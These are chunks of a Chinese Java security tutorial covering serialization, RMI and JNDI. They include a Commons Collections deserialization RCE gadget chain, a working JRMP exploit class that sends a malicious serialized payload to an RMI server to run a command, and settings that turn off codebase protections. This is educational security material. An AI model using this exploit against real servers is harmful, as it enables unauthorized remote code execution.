byte [ ] bytes = baos . toByteArray ( ) ; // 输出序列化的二进制数组 System . out . println ( \"Payload攻击字节数组：\" + Arrays . toString ( bytes ) ) ; // 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作 ByteArrayInputStream bais = new ByteArrayInputStream ( bytes ) ; // 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象 ObjectInputStream in = new ObjectInputStream ( bais ) ; // 模拟远程的反序列化过程 in . readObject ( ) ; // 关闭ObjectInputStream输入流 in . close ( ) ; } catch ( Exception e ) { e . printStackTrace ( ) ; } } } 反序列化 RCE 调用链如下： ObjectInputStream . readObject ( ) - > AnnotationInvocationHandler . readObject ( ) - > TransformedMap . entrySet ( ) . iterator ( ) . next ( ) . setValue ( ) - > TransformedMap . checkSetValue ( ) - > TransformedMap . transform ( ) - > ChainedTransformer . transform ( ) - > ConstantTransformer . transform ( ) - > InvokerTransformer . transform ( ) - > Method . invoke ( ) - > Class . getMethod ( ) - > InvokerTransformer . transform ( ) - > Method . invoke ( ) - > Runtime . getRuntime ( ) - > InvokerTransformer . transform ( ) - > Method . invoke ( ) - > Runtime . exec ( ) Apache Commons Collections 漏洞利用方式也不仅仅只有本节所讲解的利用 AnnotationInvocationHandler 触发 TransformedMap 构建调用链的这一种方式， ysoserial 还提供了多种基于 InstantiateTransformer/InvokerTransformer 构建调用链方式： LazyMap 、 PriorityQueue 、 BadAttributeValueExpException 、 HashSet 、 Hashtable 。"},
    {"text": "Java 序列化/反序列化 Java 序列化/反序列化 原文： https://www.wangan.com/docs/99 在Java中实现对象反序列化非常简单，实现 java.io.Serializable(内部序列化) 或 java.io.Externalizable(外部序列化) 接口即可被序列化( Externalizable 接口只是实现了 java.io.Serializable 接口)。"},
    {"text": "除此之外， 反序列化类对象是不会调用该类构造方法 的，因为在反序列化创建类实例时使用了 sun.reflect.ReflectionFactory.newConstructorForSerialization 创建了一个反序列化专用的 Constructor(反射构造方法对象) ，使用这个特殊的 Constructor 可以绕过构造方法创建类实例(前面章节讲 sun.misc.Unsafe 的时候我们提到了使用 allocateInstance 方法也可以实现绕过构造方法创建类实例)。 使用反序列化方式创建类实例代码片段： package com . anbai . sec . serializes ; import sun . reflect . ReflectionFactory ; import java . lang . reflect . Constructor ; /** * 使用反序列化方式在不调用类构造方法的情况下创建类实例 * Creator: yz * Date: 2019/12/20 */ public class ReflectionFactoryTest { public static void main ( String [ ] args ) { try { // 获取sun.reflect.ReflectionFactory对象 ReflectionFactory factory = ReflectionFactory . getReflectionFactory ( ) ; // 使用反序列化方式获取DeserializationTest类的构造方法 Constructor constructor = factory . newConstructorForSerialization ( DeserializationTest . class , Object . class . getConstructor ( ) ) ; // 实例化DeserializationTest对象 System . out . println ( constructor . newInstance ( ) ) ; } catch ( Exception e ) { e . printStackTrace ( ) ; } } } 程序运行结果： com . anbai . sec . serializes . DeserializationTest@ 2 b650cea 具体细节可参考 不用构造方法也能创建对象 。"},
    {"text": "ObjectInputStream、ObjectOutputStream java.io.ObjectOutputStream 类最核心的方法是 writeObject 方法，即序列化类对象。 java.io.ObjectInputStream 类最核心的功能是 readObject 方法，即反序列化类对象。 所以，只需借助 ObjectInputStream 和 ObjectOutputStream 类我们就可以实现类的序列化和反序列化功能了。"},
    {"text": "java.io.Serializable java.io.Serializable 是一个空的接口,我们不需要实现 java.io.Serializable 的任何方法，代码如下: public interface Serializable { } 您可能会好奇我们实现一个空接口有什么意义？ 其实实现 java.io.Serializable 接口仅仅只用于 标识这个类可序列化 。 实现了 java.io.Serializable 接口的类原则上都需要生产一个 serialVersionUID 常量，反序列化时如果双方的 serialVersionUID 不一致会导致 InvalidClassException 异常。 如果可序列化类未显式声明 serialVersionUID ，则序列化运行时将基于该类的各个方面计算该类的默认 serialVersionUID 值。"},
    {"text": "DeserializationTest.java 测试代码如下： package com . anbai . sec . serializes ; import java . io . * ; import java . util . Arrays ; /** * Creator: yz * Date: 2019/12/15 */ public class DeserializationTest implements Serializable { private String username ; private String email ; // 省去get/set方法.... public static void main ( String [ ] args ) { ByteArrayOutputStream baos = new ByteArrayOutputStream ( ) ; try { // 创建DeserializationTest类，并类设置属性值 DeserializationTest t = new DeserializationTest ( ) ; t . setUsername ( \"yz\" ) ; t . setEmail ( \"admin@javaweb.org\" ) ; // 创建Java对象序列化输出流对象 ObjectOutputStream out = new ObjectOutputStream ( baos ) ; // 序列化DeserializationTest类 out . writeObject ( t ) ; out . flush ( ) ; out . close ( ) ; // 打印DeserializationTest类序列化以后的字节数组，我们可以将其存储到文件中或者通过Socket发送到远程服务地址 System . out . println ( \"DeserializationTest类序列化后的字节数组:\" + Arrays . toString ( baos . toByteArray ( ) ) ) ; // 利用DeserializationTest类生成的二进制数组创建二进制输入流对象用于反序列化操作 ByteArrayInputStream bais = new ByteArrayInputStream ( baos . toByteArray ( ) ) ; // 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象 ObjectInputStream in = new ObjectInputStream ( bais ) ; // 反序列化输入流数据为DeserializationTest对象 DeserializationTest test = ( DeserializationTest ) in . readObject ( ) ; System . out . println ( \"用户名:\" + test . getUsername ( ) + \",邮箱:\" + test . getEmail ( ) ) ; // 关闭ObjectInputStream输入流 in . close ( ) ; } catch ( IOException e ) { e . printStackTrace ( ) ; } catch ( ClassNotFoundException e ) { e . printStackTrace ( ) ; } } } 程序执行结果如下： DeserializationTest类序列化后的字节数组 : [ - 84 , - 19 , 0 , 5 , 115 , 114 , 0 , 44 , 99 , 111 , 109 , 46 , 97 , 110 , 98 , 97 , 105 , 46 , 115 , 101 , 99 , 46 , 115 , 101 , 114 , 105 , 97 , 108 , 105 , 122 , 101 , 115 , 46 , 68 , 101 , 115 , 101 , 114 , 105 , 97 , 108 , 105 , 122 , 97 , 116 , 105 , 111 , 110 , 84 , 101 , 115 , 116 , 74 , 36 , 49 , 16 , - 110 , 39 , 13 , 76 , 2 , 0 , 2 , 76 , 0 , 5 , 101 , 109 , 97 , 105 , 108 , 116 , 0 , 18 , 76 , 106 , 97 , 118 , 97 , 47 , 108 , 97 , 110 , 103 , 47 , 83 , 116 , 114 , 105 , 110 , 103 , 59 , 76 , 0 , 8 , 117 , 115 , 101 , 114 , 110 , 97 , 109 , 101 , 113 , 0 , 126 , 0 , 1 , 120 , 112 , 116 , 0 , 17 , 97 , 100 , 109 , 105 , 110 , 64 , 106 , 97 , 118 , 97 , 119 , 101 , 98 , 46 , 111 , 114 , 103 , 116 , 0 , 2 , 121 , 122 ] 用户名 : yz , 邮箱 : admin@javaweb . org 核心逻辑其实就是使用 ObjectOutputStream 类的 writeObject 方法序列化 DeserializationTest 类，使用 ObjectInputStream 类的 readObject 方法反序列化 DeserializationTest 类而已。 简化后的代码片段如下： // 序列化DeserializationTest类 ObjectOutputStream out = new ObjectOutputStream ( baos ) ; out . writeObject ( t ) ; // 反序列化输入流数据为DeserializationTest对象 ObjectInputStream in = new ObjectInputStream ( bais ) ; DeserializationTest test = ( DeserializationTest ) in . readObject ( ) ; ObjectOutputStream 序列化类对象的主要流程是首先判断序列化的类是否重写了 writeObject 方法，如果重写了就调用序列化对象自身的 writeObject 方法序列化，序列化时会先写入类名信息，其次是写入成员变量信息(通过反射获取所有不包含被 transient 修饰的变量和值)。"},
    {"text": "java.io.Externalizable java.io.Externalizable 和 java.io.Serializable 几乎一样，只是 java.io.Externalizable 接口定义了 writeExternal 和 readExternal 方法需要序列化和反序列化的类实现，其余的和 java.io.Serializable 并无差别。 java.io.Externalizable.java: public interface Externalizable extends java . io . Serializable { void writeExternal ( ObjectOutput out ) throws IOException ; void readExternal ( ObjectInput in ) throws IOException , ClassNotFoundException ; } ExternalizableTest.java 测试代码如下： package com . anbai . sec . serializes ; import java . io . * ; import java . util . Arrays ; /** * Creator: yz * Date: 2019/12/15 */ public class ExternalizableTest implements java . io . Externalizable { private String username ; private String email ; // 省去get/set方法.... @Override public void writeExternal ( ObjectOutput out ) throws IOException { out . writeObject ( username ) ; out . writeObject ( email ) ; } @Override public void readExternal ( ObjectInput in ) throws IOException , ClassNotFoundException { this . username = ( String ) in . readObject ( ) ; this . email = ( String ) in . readObject ( ) ; } public static void main ( String [ ] args ) { // 省去测试代码，因为和DeserializationTest一样... } } 程序执行结果如下： ExternalizableTest类序列化后的字节数组 : [ - 84 , - 19 , 0 , 5 , 115 , 114 , 0 , 43 , 99 , 111 , 109 , 46 , 97 , 110 , 98 , 97 , 105 , 46 , 115 , 101 , 99 , 46 , 115 , 101 , 114 , 105 , 97 , 108 , 105 , 122 , 101 , 115 , 46 , 69 , 120 , 116 , 101 , 114 , 110 , 97 , 108 , 105 , 122 , 97 , 98 , 108 , 101 , 84 , 101 , 115 , 116 , - 122 , 124 , 92 , - 120 , - 52 , 73 , - 100 , 6 , 12 , 0 , 0 , 120 , 112 , 116 , 0 , 2 , 121 , 122 , 116 , 0 , 17 , 97 , 100 , 109 , 105 , 110 , 64 , 106 , 97 , 118 , 97 , 119 , 101 , 98 , 46 , 111 , 114 , 103 , 120 ] ExternalizableTest类反序列化后的字符串 : ��sr + com . anbai . sec . serializes . ExternalizableTest� | \\�� I �xptyztadmin@javaweb . orgx 用户名 : yz , 邮箱 : admin@javaweb . org 鉴于两者之间没有多大差别，这里就不再赘述。 自定义序列化(writeObject)和反序列化(readObject) 实现了 java.io.Serializable 接口的类还可以定义如下方法( 反序列化魔术方法 )将会在类序列化和反序列化过程中调用： private void writeObject(ObjectOutputStream oos) ,自定义序列化。 private void readObject(ObjectInputStream ois) ，自定义反序列化。 private void readObjectNoData() 。"},
    {"text": "序列化时可自定义的方法示例代码： public class DeserializationTest implements Serializable { /** * 自定义反序列化类对象 * * @param ois 反序列化输入流对象 * @throws IOException IO异常 * @throws ClassNotFoundException 类未找到异常 */ private void readObject ( ObjectInputStream ois ) throws IOException , ClassNotFoundException { System . out . println ( \"readObject...\" ) ; // 调用ObjectInputStream默认反序列化方法 ois . defaultReadObject ( ) ; // 省去调用自定义反序列化逻辑... } /** * 自定义序列化类对象 * * @param oos 序列化输出流对象 * @throws IOException IO异常 */ private void writeObject ( ObjectOutputStream oos ) throws IOException { oos . defaultWriteObject ( ) ; System . out . println ( \"writeObject...\" ) ; // 省去调用自定义序列化逻辑... } private void readObjectNoData ( ) { System . out . println ( \"readObjectNoData...\" ) ; } /** * 写入时替换对象 * * @return 替换后的对象 */ protected Object writeReplace ( ) { System . out . println ( \"writeReplace....\" ) ; return null ; } protected Object readResolve ( ) { System . out . println ( \"readResolve....\" ) ; return null ; } } 当我们序列化 DeserializationTest 类时，会自动调用(反射)该类的 writeObject(ObjectOutputStream oos) 方法,反序列化时候也会自动调用 readObject(ObjectInputStream) 方法，也就是说我们可以通过在需要序列化/反序列化的类中定义 readObject 和 writeObject 方法从而实现自定义的序列化和反序列化操作，和当然前提是被序列化的类必须有此方法且方法的修饰符必须是 private 。"},
    {"text": "RMI RMI 原文： https://www.wangan.com/docs/101 RMI(Remote Method Invocation) 即 Java 远程方法调用， RMI 用于构建分布式应用程序， RMI 实现了 Java 程序之间跨 JVM 的远程通信。 RMI架构： RMI 底层通讯采用了 Stub(运行在客户端) 和 Skeleton(运行在服务端) 机制， RMI 调用远程方法的大致如下： RMI客户端 在调用远程方法时会先创建 Stub(sun.rmi.registry.RegistryImpl_Stub) 。 Stub 会将 Remote 对象传递给 远程引用层(java.rmi.server.RemoteRef) 并创建 java.rmi.server.RemoteCall(远程调用) 对象。 RemoteCall 序列化 RMI服务名称 、 Remote 对象。 RMI客户端 的 远程引用层 传输 RemoteCall 序列化后的请求信息通过 Socket 连接的方式传输到 RMI服务端 的 远程引用层 。 RMI服务端 的 远程引用层(sun.rmi.server.UnicastServerRef) 收到请求会请求传递给 Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch) 。 Skeleton 调用 RemoteCall 反序列化 RMI客户端 传过来的序列化。 Skeleton 处理客户端请求： bind 、 list 、 lookup 、 rebind 、 unbind ，如果是 lookup 则查找 RMI服务名 绑定的接口对象，序列化该对象并通过 RemoteCall 传输到客户端。 RMI客户端 反序列化服务端结果，获取远程对象的引用。 RMI客户端 调用远程方法， RMI服务端 反射调用 RMI服务实现类 的对应方法并序列化执行结果返回给客户端。 RMI客户端 反序列化 RMI 远程方法调用结果。 RMI远程方法调用测试 第一步我们需要先启动 RMI服务端 ，并注册服务。 RMI服务端注册服务代码： package com . anbai . sec . rmi ; import java . rmi . Naming ; import java . rmi . registry . LocateRegistry ; public class RMIServerTest { // RMI服务器IP地址 public static final String RMI_HOST = \"127.0.0.1\" ; // RMI服务端口 public static final int RMI_PORT = 9527 ; // RMI服务名称 public static final String RMI_NAME = \"rmi://\" + RMI_HOST + \":\" + RMI_PORT + \"/test\" ; public static void main ( String [ ] args ) { try { // 注册RMI端口 LocateRegistry . createRegistry ( RMI_PORT ) ; // 绑定Remote对象 Naming . bind ( RMI_NAME , new RMITestImpl ( ) ) ; System . out . println ( \"RMI服务启动成功,服务地址:\" + RMI_NAME ) ; } catch ( Exception e ) { e . printStackTrace ( ) ; } } } 程序运行结果： RMI 服务启动成功 , 服务地址 : rmi : / / 127.0 .0 .1 : 9527 / test Naming.bind(RMI_NAME, new RMITestImpl()) 绑定的是服务端的一个类实例， RMI客户端 需要有这个实例的接口代码( RMITestInterface.java )， RMI客户端 调用服务器端的 RMI服务 时会返回这个服务所绑定的对象引用， RMI客户端 可以通过该引用对象调用远程的服务实现类的方法并获取方法执行结果。 RMITestInterface示例代码： package com . anbai . sec . rmi ; import java . rmi . Remote ; import java . rmi . RemoteException ; /** * RMI测试接口 */ public interface RMITestInterface extends Remote { /** * RMI测试方法 * * @return 返回测试字符串 */ String test ( ) throws RemoteException ; } 这个区别于普通的接口调用，这个接口在 RMI客户端 中没有实现代码，接口的实现代码在 RMI服务端 。 服务端RMITestInterface实现代码示例代码： package com . anbai . sec . rmi ; import java . rmi . RemoteException ; import java . rmi . server . UnicastRemoteObject ; public class RMITestImpl extends UnicastRemoteObject implements RMITestInterface { private static final long serialVersionUID = 1 L ; protected RMITestImpl ( ) throws RemoteException { super ( ) ; } /** * RMI测试方法 * * @return 返回测试字符串 */ @Override public String test ( ) throws RemoteException { return \"Hello RMI~\" ; } } RMI客户端示例代码： package com . anbai . sec . rmi ; import java . rmi . Naming ; import static com . anbai . sec . rmi . RMIServerTest . RMI_NAME ; public class RMIClientTest { public static void main ( String [ ] args ) { try { // 查找远程RMI服务 RMITestInterface rt = ( RMITestInterface ) Naming . lookup ( RMI_NAME ) ; // 调用远程接口RMITestInterface类的test方法 String result = rt . test ( ) ; // 输出RMI方法调用结果 System . out . println ( result ) ; } catch ( Exception e ) { e . printStackTrace ( ) ; } } } 程序运行结果： Hello RMI ~ RMI反序列化漏洞 RMI 通信中所有的对象都是通过Java序列化传输的，在学习Java序列化机制的时候我们讲到只要有Java对象反序列化操作就有可能有漏洞。 既然 RMI 使用了反序列化机制来传输 Remote 对象，那么可以通过构建一个恶意的 Remote 对象，这个对象经过序列化后传输到服务器端，服务器端在反序列化时候就会触发反序列化漏洞。 首先我们依旧使用上述 com.anbai.sec.rmi.RMIServerTest 的代码，创建一个 RMI 服务，然后我们来构建一个恶意的 Remote 对象并通过 bind 请求发送给服务端。"},
    {"text": "使用 RemoteStub 调用 RMI服务端 的 bind 指令，并传入一个使用动态代理创建出来的 Remote 类型的恶意 AnnotationInvocationHandler 对象到 RMI服务端 。 RMI服务端 接受到 bind 请求后会反序列化我们构建的恶意 Remote对象 从而触发 Apache Commons Collections 漏洞的 RCE 。 RMI客户端端 bind 序列化： 上图可以看到我们构建的恶意 Remote对象 会通过 RemoteCall 序列化然后通过 RemoteRef 发送到远程的 RMI服务端 。 RMI服务端 bind 反序列化： 具体的实现代码在： sun.rmi.registry.RegistryImpl_Skel 类的 dispatch 方法，其中的 $param_Remote_2 就是我们 RMIExploit 传入的恶意 Remote 的序列化对象。"},
    {"text": "由于 RMI 数据通信大量的使用了 Java 的对象反序列化，所以在使用 RMI客户端 去攻击 RMI服务端 时需要特别小心，如果本地 RMI客户端 刚好符合反序列化攻击的利用条件，那么 RMI服务端 返回一个恶意的反序列化攻击包可能会导致我们被反向攻击。 我们可以通过和 RMI服务 端建立 Socket 连接并使用 RMI 的 JRMP 协议发送恶意的序列化包， RMI服务端 在处理 JRMP 消息时会反序列化消息对象，从而实现 RCE 。 JRMP客户端反序列化攻击示例代码： package com . anbai . sec . rmi ; import sun . rmi . server . MarshalOutputStream ; import sun . rmi . transport . TransportConstants ; import java . io . DataOutputStream ; import java . io . IOException ; import java . io . ObjectOutputStream ; import java . io . OutputStream ; import java . net . Socket ; import static com . anbai . sec . rmi . RMIServerTest . RMI_HOST ; import static com . anbai . sec . rmi . RMIServerTest . RMI_PORT ; /** * 利用RMI的JRMP协议发送恶意的序列化包攻击示例，该示例采用Socket协议发送序列化数据，不会反序列化RMI服务器端的数据， * 所以不用担心本地被RMI服务端通过构建恶意数据包攻击，示例程序修改自ysoserial的JRMPClient：https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java */ public class JRMPExploit { public static void main ( String [ ] args ) throws IOException { if ( args . length == 0 ) { // 如果不指定连接参数默认连接本地RMI服务 args = new String [ ] { RMI_HOST , String . valueOf ( RMI_PORT ) , \"open -a Calculator.app\" } ; } // 远程RMI服务IP final String host = args [ 0 ] ; // 远程RMI服务端口 final int port = Integer . parseInt ( args [ 1 ] ) ; // 需要执行的系统命令 final String command = args [ 2 ] ; // Socket连接对象 Socket socket = null ; // Socket输出流 OutputStream out = null ; try { // 创建恶意的Payload对象 Object payloadObject = RMIExploit . genPayload ( command ) ; // 建立和远程RMI服务的Socket连接 socket = new Socket ( host , port ) ; socket . setKeepAlive ( true ) ; socket . setTcpNoDelay ( true ) ; // 获取Socket的输出流对象 out = socket . getOutputStream ( ) ; // 将Socket的输出流转换成DataOutputStream对象 DataOutputStream dos = new DataOutputStream ( out ) ; // 创建MarshalOutputStream对象 ObjectOutputStream baos = new MarshalOutputStream ( dos ) ; // 向远程RMI服务端Socket写入RMI协议并通过JRMP传输Payload序列化对象 dos . writeInt ( TransportConstants . Magic ) ; // 魔数 dos . writeShort ( TransportConstants . Version ) ; // 版本 dos . writeByte ( TransportConstants . SingleOpProtocol ) ; // 协议类型 dos . write ( TransportConstants . Call ) ; // RMI调用指令 baos . writeLong ( 2 ) ; // DGC baos . writeInt ( 0 ) ; baos . writeLong ( 0 ) ; baos . writeShort ( 0 ) ; baos . writeInt ( 1 ) ; // dirty baos . writeLong ( - 669196253586618813 L ) ; // 接口Hash值 // 写入恶意的序列化对象 baos . writeObject ( payloadObject ) ; dos . flush ( ) ; } catch ( Exception e ) { e . printStackTrace ( ) ; } finally { // 关闭Socket输出流 if ( out != null ) { out . close ( ) ; } // 关闭Socket连接 if ( socket != null ) { socket . close ( ) ; } } } } 测试流程同上面的 RMIExploit ，这里不再赘述。"},
    {"text": "JNDI 是 Java EE 的重要部分，需要注意的是它并不只是包含了 DataSource(JDBC 数据源) ， JNDI 可访问的现有的目录及服务有: JDBC 、 LDAP 、 RMI 、 DNS 、 NIS 、 CORBA 。"},
    {"text": "Naming Service 命名服务： 命名服务将名称和对象进行关联，提供通过名称找到对象的操作，例如：DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。 Directory Service 目录服务： 目录服务是命名服务的扩展，除了提供名称和对象的关联， 还允许对象具有属性 。"},
    {"text": "更多 JNDI 相关概念参考: Java技术回顾之JNDI：命名和目录服务基本概念 JNDI目录服务 访问 JNDI 目录服务时会通过预先设置好环境变量访问对应的服务， 如果创建 JNDI 上下文( Context )时未指定 环境变量 对象， JNDI 会自动搜索 系统属性(System.getProperty()) 、 applet 参数 和 应用程序资源文件(jndi.properties) 。 使用 JNDI 创建目录服务对象代码片段： // 创建环境变量对象 Hashtable env = new Hashtable ( ) ; // 设置JNDI初始化工厂类名 env . put ( Context . INITIAL_CONTEXT_FACTORY , \"类名\" ) ; // 设置JNDI提供服务的URL地址 env . put ( Context . PROVIDER_URL , \"url\" ) ; // 创建JNDI目录服务对象 DirContext context = new InitialDirContext ( env ) ; Context.INITIAL_CONTEXT_FACTORY(初始上下文工厂的环境属性名称) 指的是 JNDI 服务处理的具体类名称，如： DNS 服务可以使用 com.sun.jndi.dns.DnsContextFactory 类来处理， JNDI 上下文工厂类必须实现 javax.naming.spi.InitialContextFactory 接口，通过重写 getInitialContext 方法来创建服务。 javax.naming.spi.InitialContextFactory: package javax . naming . spi ; public interface InitialContextFactory { public Context getInitialContext ( Hashtable < ? , ? > environment ) throws NamingException ; } JNDI-DNS解析 JNDI 支持访问 DNS 服务，注册环境变量时设置 JNDI 服务处理的工厂类为 com.sun.jndi.dns.DnsContextFactory 即可。 com.sun.jndi.dns.DnsContextFactory代码片段： package com . sun . jndi . dns ; public class DnsContextFactory implements InitialContextFactory { // 获取处理DNS的JNDI上下文对象 public Context getInitialContext ( Hashtable < ? , ? > var1 ) throws NamingException { if ( var1 == null ) { var1 = new Hashtable ( 5 ) ; } return urlToContext ( getInitCtxUrl ( var1 ) , var1 ) ; } // 省去其他无关方法和变量 } 使用JNDI解析DNS测试： package com . anbai . sec . jndi ; import javax . naming . Context ; import javax . naming . NamingException ; import javax . naming . directory . Attributes ; import javax . naming . directory . DirContext ; import javax . naming . directory . InitialDirContext ; import java . util . Hashtable ; /** * Creator: yz * Date: 2019/12/23 */ public class DNSContextFactoryTest { public static void main ( String [ ] args ) { // 创建环境变量对象 Hashtable env = new Hashtable ( ) ; // 设置JNDI初始化工厂类名 env . put ( Context . INITIAL_CONTEXT_FACTORY , \"com.sun.jndi.dns.DnsContextFactory\" ) ; // 设置JNDI提供服务的URL地址，这里可以设置解析的DNS服务器地址 env . put ( Context . PROVIDER_URL , \"dns://223.6.6.6/\" ) ; try { // 创建JNDI目录服务对象 DirContext context = new InitialDirContext ( env ) ; // 获取DNS解析记录测试 Attributes attrs1 = context . getAttributes ( \"baidu.com\" , new String [ ] { \"A\" } ) ; Attributes attrs2 = context . getAttributes ( \"qq.com\" , new String [ ] { \"A\" } ) ; System . out . println ( attrs1 ) ; System . out . println ( attrs2 ) ; } catch ( NamingException e ) { e . printStackTrace ( ) ; } } } 程序运行结果： { a = A : 39.156 .69 .79 , 220.181 .38 .148 } { a = A : 125.39 .52 .26 , 58.247 .214 .47 , 58.250 .137 .36 } JNDI-RMI远程方法调用 RMI 的服务处理工厂类是: com.sun.jndi.rmi.registry.RegistryContextFactory ，在调用远程的 RMI 方法之前需要先启动 RMI 服务： com.anbai.sec.rmi.RMIServerTest ，启动完成后就可以使用 JNDI 连接并调用了。 使用JNDI解析调用远程RMI方法测试： package com . anbai . sec . jndi ; import com . anbai . sec . rmi . RMITestInterface ; import javax . naming . Context ; import javax . naming . NamingException ; import javax . naming . directory . DirContext ; import javax . naming . directory . InitialDirContext ; import java . rmi . RemoteException ; import java . util . Hashtable ; import static com . anbai . sec . rmi . RMIServerTest . * ; /** * Creator: yz * Date: 2019/12/24 */ public class RMIRegistryContextFactoryTest { public static void main ( String [ ] args ) { String providerURL = \"rmi://\" + RMI_HOST + \":\" + RMI_PORT ; // 创建环境变量对象 Hashtable env = new Hashtable ( ) ; // 设置JNDI初始化工厂类名 env . put ( Context . INITIAL_CONTEXT_FACTORY , \"com.sun.jndi.rmi.registry.RegistryContextFactory\" ) ; // 设置JNDI提供服务的URL地址 env . put ( Context . PROVIDER_URL , providerURL ) ; // 通过JNDI调用远程RMI方法测试，等同于com.anbai.sec.rmi.RMIClientTest类的Demo try { // 创建JNDI目录服务对象 DirContext context = new InitialDirContext ( env ) ; // 通过命名服务查找远程RMI绑定的RMITestInterface对象 RMITestInterface testInterface = ( RMITestInterface ) context . lookup ( RMI_NAME ) ; // 调用远程的RMITestInterface接口的test方法 String result = testInterface . test ( ) ; System . out . println ( result ) ; } catch ( NamingException e ) { e . printStackTrace ( ) ; } catch ( RemoteException e ) { e . printStackTrace ( ) ; } } } 程序执行结果： Hello RMI ~ JNDI-LDAP LDAP 的服务处理工厂类是: com.sun.jndi.ldap.LdapCtxFactory ，连接 LDAP 之前需要配置好远程的 LDAP 服务。"},
    {"text": "使用JNDI创建LDAP连接测试： package com . anbai . sec . jndi ; import javax . naming . Context ; import javax . naming . directory . DirContext ; import javax . naming . directory . InitialDirContext ; import java . util . Hashtable ; /** * Creator: yz * Date: 2019/12/24 */ public class LDAPFactoryTest { public static void main ( String [ ] args ) { try { // 设置用户LDAP登陆用户DN String userDN = \"cn=Manager,dc=javaweb,dc=org\" ; // 设置登陆用户密码 String password = \"123456\" ; // 创建环境变量对象 Hashtable < String , Object > env = new Hashtable < String , Object > ( ) ; // 设置JNDI初始化工厂类名 env . put ( Context . INITIAL_CONTEXT_FACTORY , \"com.sun.jndi.ldap.LdapCtxFactory\" ) ; // 设置JNDI提供服务的URL地址 env . put ( Context . PROVIDER_URL , \"ldap://localhost:389\" ) ; // 设置安全认证方式 env . put ( Context . SECURITY_AUTHENTICATION , \"simple\" ) ; // 设置用户信息 env . put ( Context . SECURITY_PRINCIPAL , userDN ) ; // 设置用户密码 env . put ( Context . SECURITY_CREDENTIALS , password ) ; // 创建LDAP连接 DirContext ctx = new InitialDirContext ( env ) ; // 使用ctx可以查询或存储数据,此处省去业务代码 ctx . close ( ) ; } catch ( Exception e ) { e . printStackTrace ( ) ; } } } JNDI-DataSource JNDI 连接数据源比较特殊， Java 目前不提供内置的实现方法，提供数据源服务的多是 Servlet容器 ，这里我们以 Tomcat 为例学习如何在应用服务中使用 JNDI 查找容器提供的数据源。 Tomcat 配置 JNDI 数据源需要手动修改 Tomcat目录/conf/context.xml 文件，参考： Tomcat JNDI Datasource ，这里我们在 Tomcat 的 conf/context.xml 中添加如下配置： < Resource name = \"jdbc/test\" auth = \"Container\" type = \"javax.sql.DataSource\" maxTotal = \"100\" maxIdle = \"30\" maxWaitMillis = \"10000\" username = \"root\" password = \"root\" driverClassName = \"com.mysql.jdbc.Driver\" url = \"jdbc:mysql://localhost:3306/mysql\" / > 然后我们需要下载好 Mysql的JDBC驱动包 并复制到 Tomcat 的 lib 目录： wget https : / / repo1 . maven . org / maven2 / mysql / mysql - connector - java / 5.1 .48 / mysql - connector - java - 5.1 .48 . jar - P \"/data/apache-tomcat-8.5.31/lib\" 配置好数据源之后我们重启Tomcat服务就可以使用 JNDI 的方式获取 DataSource 了。 使用JNDI获取数据源并查询数据库测试： < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"javax.naming.Context\" % > < % @ page import = \"javax.naming.InitialContext\" % > < % @ page import = \"javax.sql.DataSource\" % > < % @ page import = \"java.sql.Connection\" % > < % @ page import = \"java.sql.ResultSet\" % > < % // 初始化JNDIContext Context context = new InitialContext ( ) ; // 搜索Tomcat注册的JNDI数据库连接池对象 DataSource dataSource = ( DataSource ) context . lookup ( \"java:comp/env/jdbc/test\" ) ; // 获取数据库连接 Connection connection = dataSource . getConnection ( ) ; // 查询SQL语句并返回结果 ResultSet rs = connection . prepareStatement ( \"select version()\" ) . executeQuery ( ) ; // 获取数据库查询结果 while ( rs . next ( ) ) { out . println ( rs . getObject ( 1 ) ) ; } rs . close ( ) ; % > 访问 tomcat-datasource-lookup.jsp 输出: 5.7.28 ，需要注意的是示例 jsp 中的Demo使用了 系统的环境变量 所以并不需要在创建context的时候传入 环境变量 对象。 Tomcat 在启动的时候会 设置JNDI变量信息 ，处理 JNDI 服务的类是 org.apache.naming.java.javaURLContextFactory ，所以在 jsp 中我们可以直接创建 context 。"},
    {"text": "JNDI 默认支持自动转换的协议有： 协议名称 协议URL Context类 DNS协议 dns:// com.sun.jndi.url.dns.dnsURLContext RMI协议 rmi:// com.sun.jndi.url.rmi.rmiURLContext LDAP协议 ldap:// com.sun.jndi.url.ldap.ldapURLContext LDAP协议 ldaps:// com.sun.jndi.url.ldaps.ldapsURLContextFactory IIOP对象请求代理协议 iiop:// com.sun.jndi.url.iiop.iiopURLContext IIOP对象请求代理协议 iiopname:// com.sun.jndi.url.iiopname.iiopnameURLContextFactory IIOP对象请求代理协议 corbaname:// com.sun.jndi.url.corbaname.corbanameURLContextFactory RMI示例代码片段： // 创建JNDI目录服务上下文 InitialContext context = new InitialContext ( ) ; // 查找JNDI目录服务绑定的对象 Object obj = context . lookup ( \"rmi://127.0.0.1:9527/test\" ) ; 示例代码通过 lookup 会自动使用 rmiURLContext 处理 RMI 请求。"},
    {"text": "RMI/LDAP远程对象引用安全限制 在 RMI 服务中引用远程对象将受本地Java环境限制即本地的 java.rmi.server.useCodebaseOnly 配置必须为 false(允许加载远程对象) ，如果该值为 true 则禁止引用远程对象。 除此之外被引用的 ObjectFactory 对象还将受到 com.sun.jndi.rmi.object.trustURLCodebase 配置限制，如果该值为 false(不信任远程引用对象) 一样无法调用远程的引用对象。"},
    {"text": "JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121 开始 java.rmi.server.useCodebaseOnly 默认配置已经改为了 true 。 JDK 6u132, JDK 7u122, JDK 8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值已改为了 false 。 本地测试远程对象引用可以使用如下方式允许加载远程的引用对象： System . setProperty ( \"java.rmi.server.useCodebaseOnly\" , \"false\" ) ; System . setProperty ( \"com.sun.jndi.rmi.object.trustURLCodebase\" , \"true\" ) ; 或者在启动 Java 程序时候指定 -D参数 ： -Djava.rmi.server.useCodebaseOnly=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=true 。 LDAP 在 JDK 11.0.1、8u191、7u201、6u211 后也将默认的 com.sun.jndi.ldap.object.trustURLCodebase 设置为了 false 。"},
